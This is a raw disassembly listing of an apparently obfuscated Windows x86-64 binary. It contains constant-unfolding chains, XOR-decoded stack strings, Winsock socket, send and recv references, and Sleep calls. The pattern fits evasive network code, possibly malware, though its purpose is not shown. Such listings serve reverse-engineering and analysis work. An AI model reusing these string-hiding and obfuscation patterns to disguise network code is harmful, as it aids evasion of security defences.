lea rcx, [rbp - 0x20]
call fcn.1400d35e5
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14005c9df
mov r8, rax
mov edx, 0xa7a4a41b
pushf
not edx
add edx, 0xbf594629
xor edx, 0xf5afd4c1
rol edx, 0x41
popf
pushf
not edx
add edx, 0x8e69fd3c
xor edx, 0xca330ba2
rol edx, 0xf8
popf
call fcn.14006b009
nop
lea r9, [0x1b5ea6a80]
pushf
sub r9, 0x75ea23d0
popf
mov edx, 0xf11eb517
pushf
not edx
add edx, 0xc441fc9f
xor edx, 0xfdb216db
rol edx, 0xd6
popf
pushf
not edx
add edx, 0xc3a6984f
xor edx, 0xce32ccd5
rol edx, 0x26
popf
pushf
not edx
add edx, 0xf7011639
xor edx, 0xd5a844db
rol edx, 0xb1
popf
pushf
not edx
add edx, 0xb8c36ce7
xor edx, 0x9bad3a34
rol edx, 0xb5
popf
lea r8d, [rdx - 0x1d]
lea rcx, [rbp - 0x80]
call fcn.140165031
mov rcx, qword [0x14004e140]
call fcn.140002270
call fcn.140192f1a
lea rcx, [rbp + 0xb0]
call fcn.140124a8b
mov byte [rbp - 0x20], recv
mov al, send
pushf
not al
add al, 0x91
xor al, 0x2f
rol al, 0x2b
popf
pushf
not al
add al, 0x54
xor al, 0x52
rol al, 0x30
popf
pushf
not al
add al, 0xe8
xor al, 0xc1
rol al, 0x3e
popf
mov cl, 0xf0
pushf
not cl
add cl, 0x79
xor cl, 0x4e
rol cl, 0xe2
popf
pushf
not cl
add cl, 0x19
xor cl, 0x72
rol cl, 0x58
popf
pushf
not cl
add cl, 0x88
xor cl, 0xf5
rol cl, 0xe8
popf
pushf
not cl
add cl, 0x88
xor cl, 0x1c
rol cl, 0xf0
popf
mov dl, 0x81
pushf
not dl
add dl, 0x94
xor dl, 0xc2
rol dl, 0xab
popf
pushf
not dl
add dl, 0xd5
xor dl, 0x18
rol dl, 0xaf
popf
pushf
not dl
add dl, 0xa0
xor dl, 0x4d
rol dl, 0xc6
popf
pushf
not dl
add dl, 0x43
xor dl, 0x45
rol dl, 0x4e
popf
mov r8b, 0x19
pushf
not r8b
add r8b, 0xf8
xor r8b, 0xe7
rol r8b, 0x66
popf
pushf
not r8b
add r8b, 0x13
xor r8b, 0x62
rol r8b, 0x34
popf
mov r9b, 0x9a
pushf
not r9b
add r9b, 0xc
xor r9b, 0xb4
rol r9b, 0xab
popf
pushf
not r9b
add r9b, 0x43
xor r9b, 0xfe
rol r9b, 0xcb
popf
pushf
not r9b
add r9b, 0x41
xor r9b, 0xf4
rol r9b, 0x9d
popf
pushf
not r9b
add r9b, 0xa9
xor r9b, 0x64
rol r9b, 0x48
popf
mov r10b, 0x46
pushf
not r10b
add r10b, 0xa7
xor r10b, 0xef
rol r10b, 0x5f
popf
pushf
not r10b
add r10b, 0x81
xor r10b, 0x41
rol r10b, 0x1f
popf
movzx r11d, r8b
movzx ebx, r10b
mov dil, 4
pushf
not dil
add dil, 0x5a
xor dil, 5
rol dil, 0xe
popf
pushf
not dil
add dil, 0x7d
xor dil, 8
rol dil, 0x90
popf
pushf
not dil
add dil, 0xa4
xor dil, 0x62
rol dil, 0x48
popf
mov sil, socket
pushf
not sil
add sil, 0xc9
xor sil, 0x1d
rol sil, 0x31
popf
pushf
not sil
add sil, 0x9f
xor sil, 0xc7
rol sil, 0x34
popf
pushf
not sil
add sil, 0x52
xor sil, 0xe6
rol sil, 0x10
popf
pushf
not sil
add sil, 0xde
xor sil, 0x4f
rol sil, 0xdf
popf
mov r14b, 0x4a
pushf
not r14b
add r14b, 0xc1
xor r14b, 0x75
rol r14b, 0x82
popf
pushf
not r14b
add r14b, 0xf0
xor r14b, 0x76
rol r14b, 0xc8
popf
pushf
not r14b
add r14b, 0x4f
xor r14b, 2
rol r14b, 0x9d
popf
movzx r15d, sil
xor r12d, r12d
xor al, 0xf
mov byte [rbp - 0x1f], al
xor cl, 0xf
mov byte [rbp - 0x1e], cl
xor dl, 0xf
mov byte [rbp - 0x1d], dl
xor r8b, 0xf
mov byte [rbp - 0x1c], r8b
xor r9b, 0xf
mov byte [rbp - 0x1b], r9b
xor r10b, 0xf
mov byte [rbp - 0x1a], r10b
xor r11b, 0xf
mov byte [rbp - 0x19], r11b
xor bl, 0xf
mov byte [rbp - 0x18], bl
xor dil, 0xf
mov byte [rbp - 0x17], dil
xor sil, 0xf
mov byte [rbp - 0x16], sil
xor r14b, 0xf
mov byte [rbp - 0x15], r14b
xor r15b, 0xf
mov byte [rbp - 0x14], r15b
mov byte [rbp - 0x13], r12b
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xb0]
call fcn.140161ceb
nop
mov rcx, qword [0x14004e140]
sub rcx, 0xffffffffffffff80
call fcn.1400b7282
mov r8, rax
call fcn.14000d1d0
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.140149612
lea rcx, [rbp + 0xb0]
call fcn.14007103f
movdqa xmm1, xmmword [0x140044d60]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm2, xmmword [0x140044d10]
movdqa xmmword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x140044d80]
movdqa xmmword [rbp - 0x60], xmm3
movdqa xmm4, xmmword [0x140044d40]
movdqa xmmword [rbp - 0x50], xmm4
mov r8b, 0x27
pushf
not r8b
add r8b, 0x55
xor r8b, 0x90
rol r8b, 0x21
popf
pushf
not r8b
add r8b, 0x44
xor r8b, 0xbc
rol r8b, 0x74
popf
mov r9b, 0x3d
pushf
not r9b
add r9b, 0x79
xor r9b, 0x7c
rol r9b, 0xc8
popf
pushf
not r9b
add r9b, 0x18
xor r9b, 0xf5
rol r9b, 0xc0
popf
pushf
not r9b
add r9b, 0x41
xor r9b, 0x33
rol r9b, 0xcb
popf
mov r10b, 9
pushf
not r10b
add r10b, 0x7f
xor r10b, 0xf3
rol r10b, 0xff
popf
pushf
not r10b
add r10b, 0xbf
xor r10b, 0x29
rol r10b, 0xc6
popf
pushf
not r10b
add r10b, 0xde
xor r10b, 0x1a
rol r10b, 0xb2
popf
mov r11b, 0x3f
pushf
not r11b
add r11b, 0x2a
xor r11b, 0xd7
rol r11b, 0x4e
popf
pushf
not r11b
add r11b, 0xc3
xor r11b, 0x9a
rol r11b, 0xb
popf
pushf
not r11b
add r11b, 0xe6
xor r11b, 0xc1
rol r11b, 0x14
popf
pushf
not r11b
add r11b, 4
xor r11b, 0x9d
rol r11b, 0xba
popf
mov bl, 0x9d
pushf
not bl
add bl, 0x14
xor bl, 0xcd
rol bl, 0xfd
popf
pushf
not bl
add bl, 3
xor bl, 0xb9
rol bl, 0x9d
popf
mov dil, 0xe0
pushf
not dil
add dil, 0x30
xor dil, 0xd4
rol dil, 0xea
popf
pushf
not dil
add dil, 0xdc
xor dil, 0x9e
rol dil, 0x74
popf
pushf
not dil
add dil, 0x2b
xor dil, 0xbf
rol dil, 0x52
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp - 0x7f], al
xor byte [rbp - 0x7e], dl
xor byte [rbp - 0x7d], dl
xor byte [rbp - 0x7c], dl
xor byte [rbp - 0x7b], dl
xor byte [rbp - 0x7a], dl
xor byte [rbp - 0x79], dl
xor byte [rbp - 0x78], dl
xor byte [rbp - 0x77], dl
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
xor byte [rbp - 0x71], dl
movd eax, xmm2
xor al, dl
mov byte [rbp - 0x70], al
xor byte [rbp - 0x6f], dl
xor byte [rbp - 0x6e], dl
xor byte [rbp - 0x6d], dl
xor byte [rbp - 0x6c], dl
xor byte [rbp - 0x6b], dl
xor byte [rbp - 0x6a], dl
xor byte [rbp - 0x69], dl
xor byte [rbp - 0x68], dl
xor byte [rbp - 0x67], dl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
movd eax, xmm3
xor al, dl
mov byte [rbp - 0x60], al
xor byte [rbp - 0x5f], dl
xor byte [rbp - 0x5e], dl
xor byte [rbp - 0x5d], dl
xor byte [rbp - 0x5c], dl
xor byte [rbp - 0x5b], dl
xor byte [rbp - 0x5a], dl
xor byte [rbp - 0x59], dl
xor byte [rbp - 0x58], dl
xor byte [rbp - 0x57], dl
xor byte [rbp - 0x56], dl
xor byte [rbp - 0x55], dl
xor byte [rbp - 0x54], dl
xor byte [rbp - 0x53], dl
xor byte [rbp - 0x52], dl
xor byte [rbp - 0x51], dl
movd eax, xmm4
xor al, dl
mov byte [rbp - 0x50], al
xor byte [rbp - 0x4f], dl
xor byte [rbp - 0x4e], dl
xor byte [rbp - 0x4d], dl
xor byte [rbp - 0x4c], dl
xor byte [rbp - 0x4b], dl
xor byte [rbp - 0x4a], dl
xor byte [rbp - 0x49], dl
xor byte [rbp - 0x48], dl
xor byte [rbp - 0x47], dl
xor byte [rbp - 0x46], dl
xor byte [rbp - 0x45], dl
xor byte [rbp - 0x44], dl
xor byte [rbp - 0x43], dl
xor byte [rbp - 0x42], dl
xor byte [rbp - 0x41], dl
xor r8b, dl
mov byte [rbp - 0x40], r8b
xor r9b, dl
mov byte [rbp - 0x3f], r9b
xor r10b, dl
mov byte [rbp - 0x3e], r10b
xor r11b, dl
mov byte [rbp - 0x3d], r11b
xor bl, dl
mov byte [rbp - 0x3c], bl
xor dil, dl
mov byte [rbp - 0x3b], dil
mov byte [rbp - 0x3a], r12b
lea rdx, [rbp - 0x7f]
lea rcx, [0x1af757eaa]
pushf
sub rcx, 0x6f70b8ca
popf
call fcn.1400b76ee
mov ecx, 0x31e28791
pushf
not ecx
add ecx, 0xc669daa0
xor ecx, 0xafc4a43a
rol ecx, 0xbf
popf
pushf
not ecx
add ecx, 0xc4c28662
xor ecx, 0xa7201687
rol ecx, 0xfd
popf
jmp 0x140088603
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14007451b
nop
push rax
pushf
mov eax, 0x55ee7de4
pushf
not eax
add eax, 0x95e69d3b
xor eax, 0x8e0e6da4
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xfb6f7280
xor eax, 0xb916b9dd
rol eax, 0x24
popf
pushf
not eax
add eax, 0xad899d7b
xor eax, 0xf82abb72
rol eax, 0x81
popf
pushf
not eax
add eax, 0x9bb8a114
xor eax, 0xaa45f2bf
rol eax, 0x62
popf
jmp 0x14008556a
mov byte [rsp + 0x30], 0x37
mov al, 3
pushf
not al
add al, 0x64
xor al, 0x62
rol al, 0x80
popf
pushf
not al
add al, 0x7f
xor al, 0x54
rol al, 0xe5
popf
xor ecx, ecx
xor al, 0x37
mov byte [rsp + 0x31], al
mov byte [rsp + 0x32], cl
lea rax, [rsp + 0x31]
push rax
pushf
mov eax, 0x212ecada
pushf
not eax
add eax, 0xe7197a16
xor eax, 0x9fc5db5b
rol eax, 0xb1
popf
pushf
not eax
add eax, 0xfe6e968b
xor eax, 0xe63a11c9
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x981b2d58
xor eax, 0xb721f583
rol eax, 4
popf
pushf
not eax
add eax, 0xb71c8ee8
xor eax, 0xba763893
rol eax, 0xfb
popf
jmp 0x14008556a
inc rbx
cmp byte [rax + rbx], cl
jne 0x140088730
push rax
pushf
mov eax, 0x2c3eee21
pushf
not eax
add eax, 0x95209239
xor eax, 0x9489082b
rol eax, 0x7b
popf
pushf
not eax
add eax, 0xb164f69a
xor eax, 0xc981ed38
rol eax, 0x57
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xa89fe82
pushf
not eax
add eax, 0xe742a237
xor eax, 0xf191c1a4
rol eax, 0x74
popf
pushf
not eax
add eax, 0xa46110fe
xor eax, 0x835e3ed3
rol eax, 0x9e
popf
jmp 0x14008556a
lea rcx, [rbp + 0x28]
test r15b, r15b
cmovne rcx, r14
cmp rsi, rbx
jne 0x1400887bd
push rax
pushf
mov eax, 0xcb451bab
pushf
not eax
add eax, 0xac111de1
xor eax, 0x9cc948d1
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xa17ec376
xor eax, 0x8967d641
rol eax, 0x99
popf
pushf
not eax
add eax, 0xf9df8394
xor eax, 0xa4d8a759
rol eax, 0xb5
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xc722a31
pushf
not eax
add eax, 0x9e4fb356
xor eax, 0xdda5e284
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xf3357224
xor eax, 0xe5c16eb4
rol eax, 0x5b
popf
jmp 0x14008556a
mov r8, rsi
lea rdx, [rsp + 0x31]
call fcn.140171672
test eax, eax
jne 0x14008885e
push rax
pushf
mov eax, 0x6f8a0ed5
pushf
not eax
add eax, 0xd1f39849
xor eax, 0xb46e58bd
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xa3153cb7
xor eax, 0xd8195bfd
rol eax, 0x23
popf
pushf
not eax
add eax, 0xa332cdc1
xor eax, 0xe8b2924f
rol eax, 2
popf
pushf
not eax
add eax, 0x88409ef3
xor eax, 0x934cfae9
rol eax, 0xc8
popf
jmp 0x14008556a
push rax
pushf
mov eax, 0xbac2913b
pushf
not eax
add eax, 0xbc8e55f9
xor eax, 0x9de9ae01
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xa5afc2da
xor eax, 0xf4af45ac
rol eax, 0x82
popf
pushf
not eax
add eax, 0xafb03a12
xor eax, 0xfe3eada3
rol eax, 0xa5
popf
jmp 0x14008556a
lea rcx, [rbp + 0x28]
call fcn.1401afdd7
movdqa xmm1, xmmword [0x140044e60]
movdqu xmmword [rsp + 0x40], xmm1
mov dl, 0x8b
pushf
not dl
add dl, 0xcf
xor dl, 0x88
rol dl, 0xd1
popf
pushf
not dl
add dl, 0xed
xor dl, 0x67
rol dl, 0x68
popf
pushf
not dl
add dl, 0x4f
xor dl, 0x31
rol dl, 0xfb
popf
mov r8b, 0x46
pushf
not r8b
add r8b, 0xcb
xor r8b, 0x14
rol r8b, 0xad
popf
pushf
not r8b
add r8b, 0x32
xor r8b, 0x9f
rol r8b, 0x1e
popf
pushf
not r8b
add r8b, 0x79
xor r8b, 0x4b
rol r8b, 0x8b
popf
pushf
not r8b
add r8b, 0xeb
xor r8b, 0xed
rol r8b, 1
popf
mov r9b, reloc.WS2_32.dll_WSAStartup
pushf
not r9b
add r9b, 0xde
xor r9b, 0xf9
rol r9b, 0xd1
popf
pushf
not r9b
add r9b, 0x72
xor r9b, 0x5a
rol r9b, 0x29
popf
mov r10b, 0xa7
pushf
not r10b
add r10b, 0x98
xor r10b, 0x80
rol r10b, 0x21
popf
pushf
not r10b
add r10b, 0xfc
xor r10b, 6
rol r10b, 0x49
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor dl, cl
mov byte [rsp + 0x50], dl
xor r8b, cl
mov byte [rsp + 0x51], r8b
xor r9b, cl
mov byte [rsp + 0x52], r9b
xor r10b, cl
mov byte [rsp + 0x53], r10b
mov byte [rsp + 0x54], 0
lea rdx, [rsp + 0x41]
lea rcx, [0x1993d56f5]
pushf
sub rcx, 0x59389115
popf
call fcn.1400b76ee
lea rdx, [rbp + 0x28]
call fcn.1400e7ddf
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x68]
call fcn.14011d130
nop
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x20]
call fcn.1400d35e5
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14005c9df
mov r8, rax
mov edx, 0x85f225c5
pushf
not edx
add edx, 0xd961fcc6
xor edx, 0x9335296e
rol edx, 0x81
popf
pushf
not edx
add edx, 0x92c5c7fe
xor edx, 0x8a3160ed
rol edx, 0x69
popf
pushf
not edx
add edx, 0x85f8facb
xor edx, 0x88a15f98
rol edx, 1
popf
call fcn.14006b009
nop
lea r9, [0x1a0c98e86]
pushf
sub r9, 0x60c947d6
popf
mov edx, 0xbdd320b
pushf
not edx
add edx, 0x80587bc8
xor edx, 0xeceba9c9
rol edx, 0xd8
popf
pushf
not edx
add edx, 0xea6a5761
xor edx, 0xe66fe634
rol edx, 0x82
popf
pushf
not edx
add edx, 0xdc06f77b
xor edx, 0x910e74ac
rol edx, 0x83
popf
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x68]
call fcn.140165031
mov ecx, 0xfd854ea0
pushf
not ecx
add ecx, 0xca75e4c8
xor ecx, 0x8ac29f43
rol ecx, 0x8b
popf
pushf
not ecx
add ecx, 0xcd3f481b
xor ecx, 0xafd98288
rol ecx, 0x8f
popf
pushf
not ecx
add ecx, 0xbfff5f76
xor ecx, 0xed7615df
rol ecx, 0x34
popf
jmp 0x140088b4e
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14007451b
int3
movdqa xmm1, xmmword [0x140044e00]
movdqu xmmword [rbp - 0x10], xmm1
movdqa xmm2, xmmword [0x140044de0]
movdqu xmmword [rbp], xmm2
mov cl, 0x8c
pushf
not cl
add cl, 0xe1
xor cl, 0x99
rol cl, 0xed
popf
pushf
not cl
add cl, 0xad
xor cl, 0x9a
rol cl, 0xfd
popf
mov r8b, 8
pushf
not r8b
add r8b, 0xef
xor r8b, 6
rol r8b, 0x26
popf
pushf
not r8b
add r8b, 0xad
xor r8b, 0x68
rol r8b, 0x79
popf
movzx r9d, cl
mov r10b, 0x78
pushf
not r10b
add r10b, 0x3b
xor r10b, 0x5e
rol r10b, 0x93
popf
pushf
not r10b
add r10b, 0x84
xor r10b, 0x2a
rol r10b, 0xb2
popf
pushf
not r10b
add r10b, 0x9b
xor r10b, 0xb
rol r10b, 0xcb
popf
mov r11b, 0x64
pushf
not r11b
add r11b, 0x8b
xor r11b, 0xc0
rol r11b, 0x4b
popf
pushf
not r11b
add r11b, 0x41
xor r11b, 0x4a
rol r11b, 0x15
popf
mov bl, 0xa6
pushf
not bl
add bl, 0x7b
xor bl, 0x8b
rol bl, 0x8c
popf
pushf
not bl
add bl, 0x63
xor bl, 0x9b
rol bl, 0x44
popf
pushf
not bl
add bl, 0x96
xor bl, 0x9f
rol bl, 0xb6
popf
mov dil, 0x54
pushf
not dil
add dil, 0xb2
xor dil, 0x4a
rol dil, 2
popf
pushf
not dil
add dil, 0xbb
xor dil, 0x44
rol dil, 0x26
popf
pushf
not dil
add dil, 0x11
xor dil, 0xac
rol dil, 0xd4
popf
mov sil, 0x9b
pushf
not sil
add sil, 0x50
xor sil, 0x91
rol sil, 0x1d
popf
pushf
not sil
add sil, 0xc9
xor sil, 0xd9
rol sil, 0xb7
popf
pushf
not sil
add sil, 0x71
xor sil, 0xa9
rol sil, 0x8f
popf
pushf
not sil
add sil, 0x72
xor sil, 0x35
rol sil, 9
popf
mov r14b, 0xb6
pushf
not r14b
add r14b, 0xb2
xor r14b, 0x4d
rol r14b, 0xe2
popf
pushf
not r14b
add r14b, 0x32
xor r14b, 0xe3
rol r14b, 0x51
popf
movzx r15d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp - 0xf], al
xor byte [rbp - 0xe], dl
xor byte [rbp - 0xd], dl
xor byte [rbp - 0xc], dl
xor byte [rbp - 0xb], dl
xor byte [rbp - 0xa], dl
xor byte [rbp - 9], dl
xor byte [rbp - 8], dl
xor byte [rbp - 7], dl
xor byte [rbp - 6], dl
xor byte [rbp - 5], dl
xor byte [rbp - 4], dl
xor byte [rbp - 3], dl
xor byte [rbp - 2], dl
xor byte [rbp - 1], dl
movd eax, xmm2
xor al, dl
mov byte [rbp], al
xor byte [rbp + 1], dl
xor byte [rbp + 2], dl
xor byte [rbp + 3], dl
xor byte [rbp + 4], dl
xor byte [rbp + 5], dl
xor byte [rbp + 6], dl
xor byte [rbp + 7], dl
xor byte [rbp + 8], dl
xor byte [rbp + 9], dl
xor byte [rbp + 0xa], dl
xor byte [rbp + 0xb], dl
xor byte [rbp + 0xc], dl
xor byte [rbp + 0xd], dl
xor byte [rbp + 0xe], dl
xor byte [rbp + 0xf], dl
xor cl, dl
mov byte [rbp + 0x10], cl
xor r8b, dl
mov byte [rbp + 0x11], r8b
xor r9b, dl
mov byte [rbp + 0x12], r9b
xor r10b, dl
mov byte [rbp + 0x13], r10b
xor r11b, dl
mov byte [rbp + 0x14], r11b
xor bl, dl
mov byte [rbp + 0x15], bl
xor dil, dl
mov byte [rbp + 0x16], dil
xor sil, dl
mov byte [rbp + 0x17], sil
xor r14b, dl
mov byte [rbp + 0x18], r14b
xor r15b, dl
mov byte [rbp + 0x19], r15b
mov byte [rbp + 0x1a], 0
lea rdx, [rbp - 0xf]
lea rcx, [0x1b5ba34c7]
pushf
sub rcx, 0x75b56ee7
popf
call fcn.1400b76ee
mov ecx, 0xbc1515d
pushf
not ecx
add ecx, 0xecd34a92
xor ecx, 0xec2125ad
rol ecx, 0xbd
popf
pushf
not ecx
add ecx, 0xdfd880ca
xor ecx, 0xbe7c4536
rol ecx, 0xb6
popf
jmp 0x140088e49
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14007451b
nop
push rax
pushf
mov eax, 0xb96599f7
pushf
not eax
add eax, 0xe33c9d74
xor eax, 0xeb5ae6bb
rol eax, 0x43
popf
pushf
not eax
add eax, 0xab1d075f
xor eax, 0xdedffc0b
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xcd6a4d08
xor eax, 0xa926e37c
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf9f2775f
xor eax, 0xadcc1163
rol eax, 0xab
popf
jmp 0x14008556a
movdqa xmm1, xmmword [0x140044d50]
movdqu xmmword [rbp - 0x10], xmm1
movdqa xmm2, xmmword [0x140044cb0]
movdqu xmmword [rbp], xmm2
mov dl, 0xf7
pushf
not dl
add dl, 0xf
xor dl, 0x2b
rol dl, 0xf2
popf
pushf
not dl
add dl, 0x91
xor dl, 0xa
rol dl, 0x8e
popf
pushf
not dl
add dl, 0x99
xor dl, 0xfe
rol dl, 0xaf
popf
mov r8b, 0xc2
pushf
not r8b
add r8b, 0xd9
xor r8b, 0x8d
rol r8b, 0x2b
popf
pushf
not r8b
add r8b, 0x23
xor r8b, 0x8b
rol r8b, 0xd6
popf
pushf
not r8b
add r8b, 0x5d
xor r8b, 0x38
rol r8b, 0x4c
popf
mov r9b, reloc.WS2_32.dll_WSAStartup
pushf
not r9b
add r9b, 0xc
xor r9b, 0xfb
rol r9b, 0x61
popf
pushf
not r9b
add r9b, 0x2a
xor r9b, 0xe6
rol r9b, 0xe7
popf
pushf
not r9b
add r9b, 0x62
xor r9b, 0xc
rol r9b, 0xd2
popf
mov r10b, 0xdb
pushf
not r10b
add r10b, 0x86
xor r10b, 0x3e
rol r10b, 0x2d
popf
pushf
not r10b
add r10b, 0x60
xor r10b, 0x2d
rol r10b, 0x71
popf
pushf
not r10b
add r10b, 0x68
xor r10b, 0xd
rol r10b, 0xd5
popf
pushf
not r10b
add r10b, 0x4e
xor r10b, 0xd3
rol r10b, 0xf3
popf
mov r11b, 0xbc
pushf
not r11b
add r11b, 0xf7
xor r11b, 0xcd
rol r11b, 0xe3
popf
pushf
not r11b
add r11b, 0x66
xor r11b, 0x84
rol r11b, 0x72
popf
pushf
not r11b
add r11b, 0x22
xor r11b, 0xe
rol r11b, 0xf2
popf
mov bl, 0x70
pushf
not bl
add bl, 0xac
xor bl, 0x71
rol bl, 0x12
popf
pushf
not bl
add bl, 0x96
xor bl, 0xd9
rol bl, 0xda
popf
pushf
not bl
add bl, 0xca
xor bl, 0x39
rol bl, 0xf
popf
pushf
not bl
add bl, 0x3b
xor bl, 0x9f
rol bl, 0xd3
popf
mov dil, 0xf2
pushf
not dil
add dil, 0x5e
xor dil, 0x4a
rol dil, 0x88
popf
pushf
not dil
add dil, 0x36
xor dil, 0xe5
rol dil, 0x60
popf
pushf
not dil
add dil, 0x23
xor dil, 0x27
rol dil, 0xfd
popf
pushf
not dil
add dil, 0xaa
xor dil, 0x33
rol dil, 0x6a
popf
mov sil, 0x65
pushf
not sil
add sil, 0x5d
xor sil, 0xca
rol sil, 0x5d
popf
pushf
not sil
add sil, 0xc8
xor sil, 0x1d
rol sil, 0x58
popf
pushf
not sil
add sil, 0x18
xor sil, 0x6e
rol sil, 0xd4
popf
pushf
not sil
add sil, 0x20
xor sil, 0xb1
rol sil, 0x46
popf
movzx r14d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0xf], al
xor byte [rbp - 0xe], cl
xor byte [rbp - 0xd], cl
xor byte [rbp - 0xc], cl
xor byte [rbp - 0xb], cl
xor byte [rbp - 0xa], cl
xor byte [rbp - 9], cl
xor byte [rbp - 8], cl
xor byte [rbp - 7], cl
xor byte [rbp - 6], cl
xor byte [rbp - 5], cl
xor byte [rbp - 4], cl
xor byte [rbp - 3], cl
xor byte [rbp - 2], cl
xor byte [rbp - 1], cl
movd eax, xmm2
xor al, cl
mov byte [rbp], al
xor byte [rbp + 1], cl
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
xor byte [rbp + 0xb], cl
xor byte [rbp + 0xc], cl
xor byte [rbp + 0xd], cl
xor byte [rbp + 0xe], cl
xor byte [rbp + 0xf], cl
xor dl, cl
mov byte [rbp + 0x10], dl
xor r8b, cl
mov byte [rbp + 0x11], r8b
xor r9b, cl
mov byte [rbp + 0x12], r9b
xor r10b, cl
mov byte [rbp + 0x13], r10b
xor r11b, cl
mov byte [rbp + 0x14], r11b
xor bl, cl
mov byte [rbp + 0x15], bl
xor dil, cl
mov byte [rbp + 0x16], dil
xor sil, cl
mov byte [rbp + 0x17], sil
xor r14b, cl
mov byte [rbp + 0x18], r14b
mov byte [rbp + 0x19], 0
lea rdx, [rbp - 0xf]
lea rcx, [0x1942d6b2b]
pushf
sub rcx, 0x5428a54b
popf
call fcn.1400b76ee
mov ecx, 0x5f6c69d4
pushf
not ecx
add ecx, 0xb51204fc
xor ecx, 0xb86054be
rol ecx, 0x8b
popf
pushf
not ecx
add ecx, 0xced1ba21
xor ecx, 0xe054ea2e
rol ecx, 0x45
popf
jmp 0x1400891dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14007451b
nop
push rax
pushf
mov eax, 0xda693319
pushf
not eax
add eax, 0xf2d414c5
xor eax, 0xfce330ab
rol eax, 0xa9
popf
pushf
not eax
add eax, 0xb6d18395
xor eax, 0xa01f81cb
rol eax, 0xc
popf
jmp 0x14008556a
mov dword [rsp + 0x48], edi
mov ecx, 0xe6259342
pushf
not ecx
add ecx, 0xe5b4c5bc
xor ecx, 0xe6b149e6
rol ecx, 0x7f
popf
pushf
not ecx
add ecx, 0xc141415d
xor ecx, 0x8d16387c
rol ecx, 0xd6
popf
pushf
not ecx
add ecx, 0x8bc338a8
xor ecx, 0x8f54c799
rol ecx, 0x37
popf
call fcn.14000f1b8
int3